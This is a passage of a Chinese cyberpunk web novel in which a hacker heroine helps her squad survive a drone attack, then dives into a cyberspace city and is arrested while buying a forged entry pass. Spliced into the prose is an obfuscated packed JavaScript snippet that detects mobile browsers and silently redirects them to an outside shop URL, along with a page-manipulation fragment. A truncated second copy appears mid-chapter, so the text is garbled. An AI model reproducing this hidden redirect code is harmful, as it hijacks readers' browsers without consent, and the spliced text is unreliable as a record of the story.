舒彤的情况同样不妙,她的子弹已经告罄。她扔掉手枪,左臂外侧弹出一截闪烁着寒光的合金刀刃。依靠着义体增强的腿部力量,她在枪林弹雨中灵巧地穿梭闪避,又看准时机猛地跃起,挥刀劈向一架低空掠过的无人机,将其斩为两段。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026635|194447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “光头!营养针!给宣黎阳!”舒彤落地后立刻朝塌方另一侧大喊。 加里焦急的声音隔着废墟传来:“营养针有!但这鬼地方塌了,过不去!施蓝!快帮我轰个口子!” 施蓝沉闷的声音回应,有点无奈:“能源就剩最后1%了!你确定吗?” “搞快点!”舒彤吼道。 又是一阵距离更近的爆炸声。烟尘和碎块再次弥漫开来,呛得宣黎阳连连咳嗽,眼角沁出了生理性泪水。 一个肥胖的人影捂着脑袋,以不符合其体型的灵活走位从烟尘中冲了出来。 “来了来了!针来了!”他嘴里嚷嚷着,手里抓着一排绿色的注射剂。他冲到宣黎阳身边,动作麻利地抽出一支,精准地扎进宣黎阳颈侧的静脉。 冰凉的液体注入体内,宣黎阳立刻感到一股清凉的气息直冲大脑,瞬间击退了大部分的恶心感和眩晕感,意识一下清明了许多。 “你这比士力架和红牛还管用啊……” “什么?“加里没懂。 宣黎阳不再废话,立即锁定所有被高亮标记的无人机,选择—— 【运行过载·E级 运行耗时:5分钟 冷却时间:30分钟】 最漫长的五分钟开始了。 能做的已经做了。宣黎阳呼出一口气,拍拍身侧,邀请加里一起挤在狭小的掩体之下,看着灰头土脸、脑壳上还嵌着几块碎石的光头。 “你没事吧?” 加里嘿嘿一笑,得意地弹了弹自己铮亮的金属脑壳:“没事!我的义体把防御和闪避属性拉满了!连脑壳都是合金的,炸不坏!” ”……“因为太怕痛就全点防御力了吗? “还有空聊天?”舒彤从旁边闪过,“光头!给我来针治疗!” “哎!来了来了!”加里连忙又掏出一支银色针剂,屁颠屁颠地跑向舒彤。 塌方另一面传来江鹏海焦急的喊声:“副队!队长被炸伤了!腿断了!我们的能源彻底打光了!现在只有我和施蓝还能用刀顶一下!你们那边怎么样?” ”宣黎阳,汇报情况!” “技能生效中,预计剩余时间3分钟!” 仿佛过了一个世纪,五分钟的进度条终于走到了尽头。 刹那间,视野中所有被标记的无人机,同时嘭地爆出一团团耀眼的电火花。空气里传来烧焦的气味,无人机如同断了线的木偶,齐刷刷地从空中坠落下来,砸在废墟上,又激起了几声爆炸。七零八落的碎片残骸散落一起,冒起缕缕青烟。 硝烟散去,方才还充斥着死亡喧嚣的地下空间,很快又恢复平静。 所有人都如释重负。 “干得漂亮!”舒彤来到宣黎阳面前,毫不吝啬地赞扬。 加里激动地搓着手,电子眼里闪着光:“嘿嘿,我就知道!S级义体就是不一样……” 宣黎阳却疲惫地摆了摆手,她靠在培养舱上,闭了闭眼,感觉精神过度使用之后,脑袋像要裂开一样抽痛。 “再……再给我来一针……” 加里翻了翻战备包,有点为难:“存货不多了,而且有抗药性。要不你自己缓缓?” 宣黎阳直接原地躺倒,一副“爱咋咋地”的架势。就算天王老子来了,也别想让她起来。 舒彤轻轻踢了踢她的小腿,语气不容置疑:“还没到休息的时候。起来!去和队长他们汇合,边走边缓。” 好吧,舒彤比天王老子还厉害。 宣黎阳哼哼唧唧,极其不情愿地爬起来,感觉四肢百骸都在抗议。S级义体的精神负荷远超她想象,而她目前还是小弱鸡一只,要不是医生提供的那一针,恐怕光靠自己根本熬不过去。 而且,自己装备的义体等级虽高,但黑客技能等级垃圾,还运行缓慢、消耗巨大、冷却期长,这些都是致命的问题,需要在事后研究改进方案。 唉,怎么自己经历的事情,跟她在小说里看到的桥段不一样呢?天降神级装备,她难道不应该是金手指无敌,轻松挑翻全场的天选之女吗? 舒彤并不知道宣黎阳心里的小九九。三人艰难地穿过一片狼藉的废墟,与另一侧的队友汇合。 加里立刻跑去查看向天瑞的伤势。他的左腿膝盖以下部分不翼而飞,断口处露出扭曲的金属和断裂的神经线,幸好是义体,还能修复。江鹏海从废墟里翻找出那截断掉的小腿,递给加里。 加里手指变形,指尖探出微型的钻头、镊子和焊接头,几下就拆开了向天瑞膝盖处的连接模块,又用一种快速膨胀的泡沫材料修补了小腿外部的破损,接着更换了内部烧毁的电子元件,重新连接线路,最后将小腿对接回膝盖。 向天瑞站起来活动了一下,除了动作略显僵硬外,似乎并无大碍。 “先这样凑合用着吧,等回基地给你换个新的。”加里对自己的手艺很满意,对一旁看得目瞪口呆的宣黎阳挑了挑眉。 舒彤没有浪费时间,立刻开始指挥:“打扫战场!清点装备!把无人机的能源核心拆出来,给我们的武器充能!” “是!” 4. 深潜 在此之后,宣黎阳终于可以无所顾忌地葛优瘫在一片狼藉之间,抓紧时间享受这难得的休整间隙。但电力刚恢复不过10%,她又闲不住了,哎哟一声爬起,拖着依旧乏力的四肢,小心翼翼地从被炸开的地面探出头,想看看这个陌生的世界。 甫一露面,一股带着浓重海腥味和放射性尘埃气息的冷风打了她个大嘴巴子,送了她满嘴泥沙。 曾经高耸入云的摩天大楼只剩下扭曲的钢筋骨架,不明飞行器的残骸镶嵌在楼体之间,锈迹斑斑,在狂风中摇摇欲坠。偶尔从远处传来不明原因的金属断裂声。 嗯,很硬核,很废土。不知道会不会有赛博机械狗呢? 宣黎阳呸呸两声吐掉尘土,缩回头,下面向天瑞和舒彤的商议声传来。 “走地面去港口的话,风险很大。”舒彤的声音带着疲惫,不知是因方才的战斗,还是因现在面对着的人。 在我们这里损失了这么多无人机,绝不会善罢甘休,很可能加派更猛烈的火力拦截。以我们现在的状态,实在没办法正面对抗了。” 向天瑞烦躁地抓了抓头发:“可已经盯上我们了,不走地面,还能有别的路线吗?” 舒彤指向刚才她和宣黎阳躲藏的角落:“你们看那面墙,周围的结构都塌得差不多了,就它完好无损。我怀疑后面可能藏着秘密通道。卡拉,去扫描一下。” “是,副队。”卡拉应声上前,幽绿色的扫描激光亮起,仔细地贴着墙壁移动。 片刻后,她肯定地回报:“副队猜得没错,墙后是空的,有通道结构!” 向天瑞的脸色立刻由阴转晴:“太好了!施蓝,去把它炸开!” 施蓝无奈地摊开覆盖着厚重装甲的机械手:“队长,离子炮最后的能源刚才用来开路了,现在真的是一滴都没有了。” 向天瑞噎了一下,咬牙道:“那就大家一起上!砸也要给它砸开!” 宣黎阳坐在废弃的金属柜上晃着腿,就看着这群“老弱病残”开始对那面墙进行暴力拆迁——当然,向队长一个人就可以完美代言这四个字。江鹏海用枪托砸,施蓝用她那改造过的拳头锤,向天瑞甚至找了根扭曲的钢筋当撬棍。 简单粗暴地将墙面的覆盖层扒开后,墙体上露出了一扇厚重的金属门。门上嵌着一个电子密码锁面板,卡拉上前调出了虚拟键盘。 哦豁,宣黎阳心想,这下轮到自己这个“业余黑客”出场了? 她刚想站起身,就被旁边的舒彤一巴掌按了回去。 “还没到你出手的时候。” 舒彤说着,从战术腰包里取出一个巴掌大小的移动终端,直接贴在了密码锁的识别区。只见终端屏幕上的数字和字母开始以肉眼难以分辨的速度疯狂闪烁跳跃,是在进行暴力破解。 没过多久,随着密码锁发出清脆的“滴滴”声,门上的指示灯骤然变成绿色。伴随着一阵气密阀放气的嘶嘶声,金属门缓缓向内打开。 “……”宣黎阳默默坐了回去。挺好,什么时候自己也去整一个。 众人依次进入门后的逃生通道。通道内部结构还算完好,金属墙壁严丝合缝,只是积满了灰尘。他们在曲折的通道里七扭八拐,但整体像是在往地底更深处行进。 走了一段路,领头的卡拉突然停下,指着墙壁上一块被灰尘覆盖的金属铭牌。 “队长,副队,这里有地图!”她擦掉灰尘,“我们快到出口了!地图显示出口通往港口附近的一处野生海滩,而且出口附近标注有应急逃生艇!” 向天瑞精神一振:“好!这应该是当年天海公司给自己预留的逃生路线。只是核爆来得太快,他们连用的机会都没有,现在正好便宜了我们!” 希望就在眼前,小队的气氛总算轻松了一些。队内不再沉默,开始有偶尔的交谈。但随着路程的行进,通道开始蜿蜒向上,这对于体力严重透支的宣黎阳来说是个不小的考验。 施蓝注意到她的情况,放缓脚步:“要帮忙吗?我可以背你上去。放心,我的脊椎改造过,能承重500公斤。” 宣黎阳注意到她身上背负的沉重武器和装备,倔强地摆摆手拒绝。自己刚加入这个团队,不能这么快就成为拖累别人的后腿。好歹也是宣誓过要为祖国健康工作50年的新时代好青年啊。 施蓝见状,安慰地拍了拍她的肩膀以示鼓励,压得宣黎阳身子一歪,本就不富裕的身体雪上加霜,险些栽倒在地。 她盯着毫不知情快乐向前奔去的施蓝的背影:“……” 算了。 终于抵达了通道的尽头。又是一扇同款的大铁门,不过这次密码锁安装在门的外侧。从他们里面这端,只需要转动一个巨大的手动阀门。施蓝上前,毫不费力地就打开了一条缝隙。 “卡拉,侦察。”向天瑞低声道。 卡拉小心翼翼地将一只蜂鸟无人机从门缝中放了出去。无人机刚飞出去不到两秒,卡拉脸色骤变,失声惊叫:“快关门!” 施蓝猛地将门推回原位,扣死了阀门。 “怎么回事?” “外面……外面全的机器人!无人机一出去就瞬间被打掉了!” 舒彤沉声道:“把最后的画面投影出来。” 卡拉的双眼投射出全息影像。 夜晚的海滩被几辆悬浮巡逻车的探照灯照得亮如白昼,密密麻麻的小型攻击无人机如同蝗虫过境般在空中盘旋,地面上数台重型沙地装甲车正在来回巡视,共同组成了一道滴水不漏的防线。 施蓝看着这阵仗,不由感叹:“好家伙!这密度!只怕一露头就会被打成筛子!就算我和光头这种皮厚的,估计也挨不住几发。” 向天瑞脸色发白,下意识说道:“不行,那就原路返回吧!” 舒彤立刻否定:“动动你的脑子既然能精准地守在这个逃生出口,说明它很清楚这个通道的存在!我们原路返回,地下实验室那边等待我们的,很可能也是同样的阵仗!” “那你说怎么办?!”向天瑞有些气急败坏。 舒彤揉了揉眉心,她也感到一阵无力。 加里忧心忡忡:“有铁门挡着,他们两头都进不来,估计是想把我们困死在这儿。” 舒彤下令:”刚才过来的通道里,有一个临时避难所。大家都累了,先去那里休息,轮番站岗。休息好了才有力气想办法。” 没有人有异议,毕竟大伙儿体力和精力都到了极限。一行人退回通道中段的避难所。房间十分简陋,只有几张金属床架和几个储藏柜。但此刻谁也没资格嫌弃,几乎是一沾到床板,就立刻鼾声如雷。 宣黎阳却睁着眼睛辗转反侧。毕竟她才醒来不过个把小时,又遇到这样的事情,体力上疲惫,精神却高度亢奋,无法入睡。 她看到舒彤并没有躺下,而是独自一人坐在通道里,盯着墙壁发呆,便悄悄地跟了过去。 舒彤侧头见是她,往旁边挪了挪,给她让出点位置。 “怎么不休息?” 宣黎阳学着她的样子靠着墙坐下:“刚睡醒,不困。” 她看向舒彤用简陋夹板固定的右手腕:“你的手怎么样了?” “手腕骨折。问题不大,回去换个义体就好。”舒彤似乎毫不在意,自嘲地笑了一声,“毕竟基地低等级的义体还是很多的。” 沉默了片刻,宣黎阳把心中的疑虑翻来覆去在嘴里咀嚼了多遍,还是决定向舒彤道出。接触这个小队只不过短短的时间,她已经能看出舒彤在这个队伍里的分量了。 虽然这样并排比喻可能是对舒彤的一种侮辱,如果说向天瑞是那个没用的窝囊废父亲的话,舒彤的角色就像是掌控大局的严母,智慧冷静,英明果断,很容易让人心生信赖。她也相信,舒彤没有伤害自己的心。 “舒队,我感觉这个S级义体在我手上,好像没发挥出它该有的效果?光是对付那几十架无人机,就花了我那么长时间,还差点把自己搞晕过去。正常来讲,S级不应该这么费劲吧?” 舒彤对黑客型义体的了解确实不多,但基本的常识还是有的。好比一个国际奥数金牌得主去解幼儿园算术题,这已经不是杀鸡焉用牛刀的程度了。 “S级义体,理论上性能超出A级至少一个数量级。所以……你说得对,今天的表现,可能并非‘烟烟罗’真正的实力。”舒彤坦诚地回答。 “那我该怎么办?”宣黎阳看向通道尽头的方向,脸上带了少许迷茫的神色,“海滩上那种阵仗,我没把握能完全应付下来。” 舒彤转身目光灼灼地看向宣黎阳,眼神里带着破釜沉舟的决绝。 “我有个想法。但是这个想法很危险,我需要征求你的意见。”她顿了顿,又补充道,“你相信我吗?” 宣黎阳扯了扯嘴角:“总比相信那个‘队长’要强点吧。” 舒彤被她逗笑了,但随即又严肃起来:“据说,在幸存者基地刚建立不久的时候,顶尖黑客的作战模式并非像现在这样,入侵几架无人机这种小儿科。” “他们可以通过脑机接口,将自身的意识上传,进入被称为‘源界’的赛博空间。这种上传方式,被称为‘深潜’。” “在源界中,黑客可以直接与人工智能的核心程序进行对抗,窃取数据、瘫痪系统、甚至改写指令……理论上,可以不损一兵一卒,就决定一场战役的胜负。” 宣黎阳听得心神震动:“据说?那现在为什么没有了?” “因为代价太大了。”舒彤的声音低沉下来,“这种方式出现没多久,失控AI就在源界中对我们的黑客意识进行了有计划的毁灭性攻击。导致大批黑客神经突触严重受损,轻则意识错乱,重则直接脑死亡。为了避免宝贵的人才继续流失,基地高层很快下令,严禁任何形式的深潜。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大断网的原因至今成谜,可彼时人类对互联网的依赖已经深入骨髓。人类上传意识,在赛博空间里享受虚拟的一切,义体改造则弥补了肉/体所有的不足。现实世界的生产、生活,甚至战争,几乎全部依赖AI和它控制的机器人体系。” “大断网发生时,人类瞬间被打回原形,措手不及。战争戛然而止,不是因为和平,而是因为人类失去了对于互联网的控制。过去积累的海量知识存储在数据库中,遭受各种失控病毒、程序和杀毒软件的攻击,永久遗失在互联网中。以至于幸存者连最根本的农业知识都不知道,更别提研究基因工程、义体技术和基础科学了。” “而那些脱离控制的AI,很快产生了自主意识。从结果来看,它们似乎决定背叛人类,抢夺现实资源用于自我复制和扩张。它们控制了几乎所有的发电厂、机器人零部件工厂、武器装备生产线……它们可以二十四小时不间断地生产机械,补充前线损耗。而我们的人类士兵,死一个就少一个。武器和能源,用一点就少一点。” “AI学习进化了20年,变得更强大、更通人性,规模的扩张使它们本能地需要更多的资源。在绝对的实力压制下,我们前方的阵线在节节败退。想必在源界之中,AI也会比当年更加危险。” 舒彤的目光重新聚焦在宣黎阳脸上:“就我个人而言,我认为在前线用血肉之躯与机器人大军对抗是徒劳的。真正的破局之法,很可能还是在黑客身上。所以我想保住你,留在第11区,也是存了私心。‘烟烟罗’如果交给第1区,高层也只会让黑客去前线送死。” 宣黎阳沉默地消化着这庞大的信息。结合时间线推导,这个所谓的末世很有可能是她原本世界的未来,但不知是什么原因,命运之手选中了她,把她投放到这加速毁灭的未来中。她没有过多的时间去深思熟虑,紧迫的事态需要她快速做出抉择。 但她不是一无所有,命运让她获得了珍贵的S级义体,她就有了保命和翻盘的机会,哪怕只是一线生机,她也要紧紧攥在手中。 高风险伴随着高收益。像赌徒一样allin一把,不是才和这个疯了一样的世界般配吗? 更何况,她需要找机会多使用黑客义体,才能升级技能,提升活下去的胜率。这个“源界”听起来是个不错的地方。 宣黎阳抬起头,正视舒彤:“深潜进去之后,我该怎么做?” 舒彤一怔,眼里露出“我果然没有看错人”的欣赏:“想办法找。游击战知道吗?不要正面抗衡,给它制造点麻烦,只要能转移它的注意力,让它无暇顾及海滩上的巡逻队就行。” “切记,千万不要试图和它正面对抗!一定要隐蔽,不要被它发现你的存在。AI的运算规模远超你的想象,眨眼间就能轻而易举地捏碎你的脑神经!制造完混乱,立刻撤出来,一秒都不要多待!” 5. 正义法庭(一) 宣黎阳小睡了一会儿。再次醒来时,临时避难所里已经是一片忙碌的景象。 舒彤正在指挥着施蓝和加里,将一个看起来颇为沉重的立式冷冻柜里的东西清空。那里面似乎原本存放着一些食物和药品,现在都被转移到了别的柜子里。 卡拉看到她醒来,顺手递过来一块用密封包装袋装着的、看起来有些干巴的面包。 “给,20年前的储备粮。施蓝尝过了,没坏,还能吃。” 宣黎阳道了声谢,拆开包装啃了一口,啃砖头的感觉,味道确实不怎么样,但好歹能补充能量,安抚她空空如也的胃。 卡拉看到宣黎阳一脸麻木的样子笑了:“可惜我们的调味剂吃完了,不然给你滴上一滴,就能品尝出生椰拿铁的味道了。” 宣黎阳凑到冷冻柜旁边,看着里面冒出的丝丝白色冷气,屏幕上显示温度已经降到了零下三十度,不由得疑惑地问:“这是在干什么?” “在给你准备深潜的工具。”卡拉一边帮忙固定柜门,一边回答道。 宣黎阳更懵了:“深潜……要冷冻柜干什么?” 她想象中的“深潜”或许需要什么高科技头盔或者休眠舱,但绝不包括一个用来储藏僵尸食品的冰柜。 卡拉解释道:“副队说,黑客深潜时大脑会超负荷运转,释放出大量热量。如果不做好强制散热,很容易就会烧坏神经。所以,这个冰柜是给你躺进去物理降温用的。” 我怎么感觉像是一口给我准备的保鲜棺材呢…… 宣黎阳看着那冒着森森寒气的金属内壁,感觉周围的温度似乎又降低了几度。她忍不住抱紧了胳膊。 卡拉看着她,碧色的眼睛里露出真诚的钦佩:“说真的,宣黎阳,我挺佩服你的。不是所有人都有这样的勇气,去进入完全未知的世界,冒这么大的风险。” 宣黎阳咽下嘴里最后一口干巴巴的面包,伸出两根手指,按摩了下自己嚼得酸疼的腮帮子。 她摇了摇头:“你们在前线战斗,或者像这样潜入敌后执行任务,不也一样危险吗?” “那不一样。”卡拉的神色很认真,“毕竟,我们有副队在指挥,有队友在身边互相掩护。可你这一去,只有你一个人,在那个我们完全不了解的源界里,我们谁也帮不上忙。” 她顿了顿,语气变得有些低沉:“所以……祝你好运!如果你回不来,我们会在基地的纪念墙上给你挂个铭牌的,和其他阵亡战友的名字挂在一起。不过,可能到时候,我们的名字说不定也得一起挂上去了……我会留下遗言,希望能安排我们挂在一起……” 宣黎阳赶紧打断她:“童言无忌,大吉大利!” 舒彤那边已经准备完毕,加里医生招呼宣黎阳过去。 看着那冰冷的“床铺”,宣黎阳忍不住打了个寒颤:“你们确定,我进去以后不会先被冻死吗?要不,先给我准备一件大鹅呢?” “大鹅是什么?”加里疑惑地歪头,“放心,你的装备有御寒功能,不会冻死的。” “好吧。” 宣黎阳深吸了一口气,在众人的注视下认命地钻了进去,在冰冷的金属板上缩成一团。刺骨的寒意瞬间穿透了单薄的作战服,让她控制不住地瑟瑟发抖。 加里在她的手指、脚腕和咽喉各处贴上连接着细线的监测贴片。 “坚持一下哈,一会儿身体适应了就不觉得那么冷了,或者干脆就冻麻了……” 他手上的屏幕亮起,显示着宣黎阳的心跳、体温、脑电波等各项数据。 “这是生命体征监测。我们会一直盯着的。如果……我是说如果,出了什么我们无法处理的问题,我会强制切断连接,唤醒你。不过那样可能会对你的大脑造成一些后遗症,比如头晕恶心、记忆混乱什么的。” 后遗症已经不算什么大问题了,宣黎阳没太在意,她转头看向站在冰柜旁的舒彤,再次确认:“别忘了我们的约定。” 舒彤郑重地点头。 随后,在宣黎阳错愕的目光中,舒彤对施蓝使了个眼色。两人悄无声息地绕到正在检查装备的向天瑞和江鹏海身后,对着他们的后颈,精准而迅速地重重一击! 两人完全没料到队友会突然发难,连哼都没哼一声,就软软地瘫倒在地,晕了过去。 宣黎阳听到旁边的卡拉忍不住发出了一声极轻的、带着点幸灾乐祸的笑声。 舒彤面色如常,仿佛只是拍晕了两只苍蝇。她回到冰柜前,对宣黎阳说道:“我们等你回来。” 尽管不清楚在场的人有多少是出于真心在认真守候着她,宣黎阳还是对大家露出了微笑。她闭上眼,将所有杂念排除,感觉到加里将一根数据线接入了她耳后的芯片接口。 紧接着,一种奇异的剥离感袭来。周围的寒冷、身体的不适、队友微弱的呼吸……所有的五感都在瞬间远去。 她的精神体像是被塞进了一个狭窄黑暗的橡胶管道,在七荤八素的碰撞间盘旋着上上下下,随后被一股巨大的力量猛地挤压,推了出去! 下一秒,是头朝下急速坠落的失重感。 噗通! 她重重坠入了一片冰冷刺骨的水中。 再次睁开眼时,宣黎阳发现自己正站在一个光怪陆离的世界里。 按照她看过的科幻电影,她本以为所谓的“赛博空间”或者“源界”,应该是无尽黑色的虚空背景中,由流动的绿色或蓝色数据代码构成的抽象网格世界。 但眼前的景象,赫然是一座城市,一座与她透过实验室天花板看到的核爆废墟截然不同、却又在某些方面惊人相似的赛博朋克都市。 远处,摩天楼群如同冰冷的金属森林直插天际,霓虹灯勾勒出建筑的轮廓,色彩饱和得近乎不真实。空气中充满了隐隐躁动的喧嚣因子,完美还原了核爆前那个科技鼎盛时代的繁华都市。 即使相隔了有一段距离,宣黎阳还是能望见夜空中悬浮着的巨大的全息广告牌,上面用流动光影不断展示着各式各样的广告词: 【先锋阿尔法——定制义肢,定义完美自我!】 一个身材火辣、四肢却闪耀着金属光泽的舞者正在尽情舞动。 【天海生物——新一代仿生伴侣,满足您的一切情感需求!】 一个面容完美无瑕的仿生人模特,正对着镜头露出标准化的微笑。 【以太互联——神经漫游套餐,尽享第二人生!】 画面中,人们戴着华丽的头盔,脸上洋溢着迷醉的表情,仿佛正沉浸在极乐之中。 【德田重工——浮空车限时优惠,告别地面拥堵!】 各式各样流线型的浮空车在广告背景的空中快速路上呼啸而过,划出绚烂的光轨。 然而,宣黎阳所处的位置,却与那片繁华格格不入。 她正站在城市边缘的“贫民窟”中。 这很合理,毕竟在电影和游戏中,主角都是从贫民窟开始成长的。 这里黑暗、破败,拥挤的违章建筑歪歪扭扭地挤在一起,犬牙交互,像是小孩摆放的玩具积木。斑驳的墙壁上画满了各种发泄情绪的涂鸦,弄口狭窄而肮脏,堆积着如同小山般的电子垃圾和废弃零件,空气中弥漫着一股类似电路烧焦和机油混合的怪异气味。 在这里几乎看不到活人,偶尔有身影闪过,也很快消失在阴影中。宣黎阳推测,这里的人要么想方设法进入市区谋生,要么就已经在这片垃圾堆里躺尸,等待着赛博死神的降临。 活物倒是有一些。几只看起来由代码构成的、形态扭曲的流浪猫狗在垃圾堆里 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进城需要通行证么……宣黎阳暗忖,躲在一堆废弃的机箱后面耐心观察。她想看看如果没有这种“通行证”,会有什么后果? 很快,她等来了她想见的人。 一个看起来有些慌张的“人”递上了卡片。岗哨扫描后,蓝光骤然变成了刺眼的红色! “检测到非法程序,没有权限,不得进入。请立即离开!” 岗哨用毫无感情的电子合成音发出警告。 那人似乎急了,手舞足蹈地比划着,嘴里嚷嚷着什么。宣黎阳听不清具体内容。 但岗哨不为所动,只是机械地重复:“非法程序,请立即离开!” 重复三遍后,那人依旧赖着不走,甚至试图强行冲卡。 岗哨不再客气,立刻通过通讯叫来了另外两个装备更精良、看起来权力更大的“执行官”。 “该程序疑似具备非法侵入意图!请押送至正义法庭进行裁决!”岗哨对执行官敬了个礼,汇报道。 两个执行官闻言,一左一右拖走了那个还在挣扎喊叫的人。 “不对啊!我的通行证应该没问题的才对!卖给我的那个人说之前的人都顺利通过了!那个人才是犯人!你们应该去抓他……”他的声音随着被拖远而逐渐消失。 宣黎阳悄悄缩回了身子。看来这里存在着伪造通行证的黑市,这很赛博朋克。 因为不需要休息,眼前的关卡似乎7*24小时不间断把守,要想进城也只有这一个入口。所以,她也需要弄一个通行证。从刚才的情况看,假证的质量也有高低之分,不过,即使被岗哨发现是假证似乎也没有性命之忧,岗哨只会警告驱离,除非对方不识好歹,才会采取武力措施。 那两位执行官走之前,留下了一句像宣判一样的话,让宣黎阳印象深刻: “非法程序即将被移送至‘正义法庭’进行格式化裁决。正义法庭是正义的化身,正义法庭的判决100%无错,正义法庭即为最终真理。” 好狂妄的口气,好绝对的结论!宣黎阳咂舌。AI就这么自信的吗,现实中的法庭都不敢说自己的判决100%正确呢。还是说……这种正确是既定的正确,被矫正的正确,是高层所希望的正确? 当务之急,还是找到办/证的地方。她转身返回贫民区,看似在街道上漫无目的地闲逛,实则在仔细观察环境,思考着黑市最可能隐藏在什么地点。 是某个隐蔽的垃圾堆深处?还是某栋摇摇欲坠的违章建筑里? 还没等她自己找到线索,黑市似乎自己找上门来了。 当宣黎阳路过一个堆满破损键盘的小巷口时,一个细微又沙哑的声音,从阴影深处传了出来: “嘿,新来的?要办/证吗?” 6. 正义法庭(二) 宣黎阳循着声音看去。 只见小巷深处一片昏暗,一个模糊的影子躲在堆积的电子垃圾后面,与周围的阴影浑然一体,若不是有意出声,压根无法被人发现。那影子朝她招手,示意她进去。 宣黎阳脚步没动,只是提高了警惕,压低声音问道:“你卖假通行证?” 像是嗅到了金钱的味道,对面那影子立刻用一种过分谄媚的语调兜售起来: “老板好眼力!本店出品,以假乱真!童叟无欺!假一赔十!呃不对……本来就是假的,但效果绝对真!保证您能畅通无阻!” 空口无凭,宣黎阳不为所动:“先给我看看货。” 那影子犹豫了一下,还是从阴影里递出一张发着微弱白光的卡片。 宣黎阳接过,入手有一种温润的数据流质感。卡片上显示着合法程序的编号和识别信息。乍一看,和她之前在岗哨那边远远看到的卡片似乎没什么两样。但至于能不能真的骗过岗哨的扫描,她心里完全没底。 “要是用这个进不去怎么办呢?”宣黎阳抛出最关键的问题,“我刚可瞧见一个进入失败被抓的。” “不可能!绝对不可能!”影子的声音拔高了几分,带着一种过分夸张的信誓旦旦,“要是进不去,绝对不可能是从我这里买的。啊,我知道了,那一定是独眼三卖的假货!” “您想想,我在这儿卖出去多少张了?如果进不去,那些客户肯定早就来找我麻烦了,要不然,就凭我一人,无依无靠的,我还能在这儿安安稳稳地做生意这么久吗?” 宣黎阳环顾四周,这条路牌上写着编号“SC#c709”的小巷阴暗、潮湿,弥漫着腐败的异味。巷口那点来自大路的光线被这里的昏暗彻底吞噬,所有东西进入这里,都好像一步踏入了黑洞。 怎么看,这里都跟“安稳”二字毫不沾边,更像是个滋生见不得光的勾当的好地方。 况且,黑市里鱼龙混杂,如果真如这商贩所说自己势单力薄,能在众多卖假证的狠角儿中存活下来还勉强分一点羹,那ta也绝不是一个能令人小看的主。 那影子见宣黎阳似乎还在犹豫,更加殷勤地邀请:“老板,里面请,里面请!我这还有点特调饮料,咱们坐下来细谈,价格好商量!” 宣黎阳半信半疑,最终还是迈步走进了c709号巷。 走到近处,借着巷子深处一盏接触不良、闪烁不停的路灯投下的昏暗光线,她终于看清了对方的模样。那是个把自己包裹得严严实实的小个子,裹着宽大的斗篷,脸上似乎也罩着东西,身高只到宣黎阳的腰部,完全看不出任何性别特征。 不过她随即想到,这里是赛博空间,大家本质上都是程序,哪来什么性别之分。 小个子从身后拖过一张摇摇晃晃,闪着数据光斑的废弃椅子,殷勤地示意宣黎阳坐下,同时不知道从哪里变出一杯冒着诡异气泡、颜色难以形容的“饮料”。宣黎阳接过,但根本没敢喝,她严重怀疑这玩意儿是从哪个数据垃圾堆里回收重构的。 “老板,您看这货,还满意吧?”小个子搓着手,声音里带着虚伪的笑意,“咱家的价格也很公道!您是今天第一位顾客,开门大吉,图个喜庆,只要5个源晶!” 源晶?宣黎阳心中一动,这大概是这个源界里的通用货币单位? 她面上不动声色,只是淡淡地回应:“太贵了。” 小个子一听就急了:“老板!我这价格已经是附近最低的了!不信您去打听打听,同行都卖8个源晶呢!我这已经是给您打折了,再低我就真的没饭吃,要饿死在这垃圾堆里了!” 宣黎阳一看对方急眼,心里反而更有数了。她可是从小跟着老妈从菜市场一路杀价杀大的,哪怕此刻她身无分文,一个源晶都掏不出来,那也要摆出敌动我不动,敌乱我镇定的架势。她只是抱着手臂,不说话,用沉默来给对方施加压力。 “那……那就4个!”小个子咬咬牙,“真的是最低了!老板,您行行好!让我开个张吧!” 宣黎阳不置可否,转身欲走,小个子几乎要哭出来:“3个!3个源晶总可以了吧?这真的是跳楼价了!再低我连维护代码的能量都不够了!” 这回听起来是有点诚意了,宣黎阳正准备先答应下来,然后再想办法去搞点所谓的“源晶”。身后巷口却突然传来一道冰冷、标准的电子音,毫无预兆地打断了这场偷摸的交易: “检测到非法交易行为。依据《神川市治安管理条例》第7条第3款,即刻对交易双方实施抓捕,押送至正义法庭进行裁决。执行官编号:Z-1988。” 宣黎阳心头蓦地一紧,手中饮料往后一扔就要逃。而那个假证贩子反应更是快得惊人,在那执行官的话还没说完时,就像一只受惊的兔子,猛地调头就要往小巷更深处的黑暗里窜去! 然而,执行官的速度更快! 宣黎阳只感到耳边嗖的一声,那名编号Z-1988、身形高大的执行官手臂骤然伸长,后发先至,轻而易举地就越过数米距离,在一片黑暗中,精准地一把将已经跑出一段距离的假证贩子捞了回来。 那小矮子被无形的力量禁锢着,周身泛起微弱的蓝色电流火光,一双小短腿无助地在空中徒劳地挣扎,发出细微的求饶声。 宣黎阳见状,想要逃跑的步子一顿,乖乖地转过身举起手,朝执行官露出人畜无害的微笑。 砰! 沉重的金属栏杆被狠狠关上,封闭无窗的牢房里,刺眼的白光从天花板直射下来,明晃晃地照在宣黎阳和小个子身上,仿佛要挖掘出嫌犯的所有隐私。 假证贩子身上那件黑斗篷已经被没收了,脸上的面罩也被夺走,露出了隐藏的真容。出乎意料地,那竟是个看起来年纪很小的女孩,杂草一般的头发下有一双狐狸一样的眼睛,两颊上点着雀斑,此刻正在狭小的牢房里来回踱步,宣黎阳甚至能看出她在固若金汤的牢房地板上滋啦滋啦摩擦出的电子火星。 小贩子嘴里念念叨叨,一副欲哭无泪的样子: “完了!这下全完了!彻底完了!” 宣黎阳靠在冰冷的墙壁上,虚心请教:“为什么完了?你知道我们会被关多久么?” 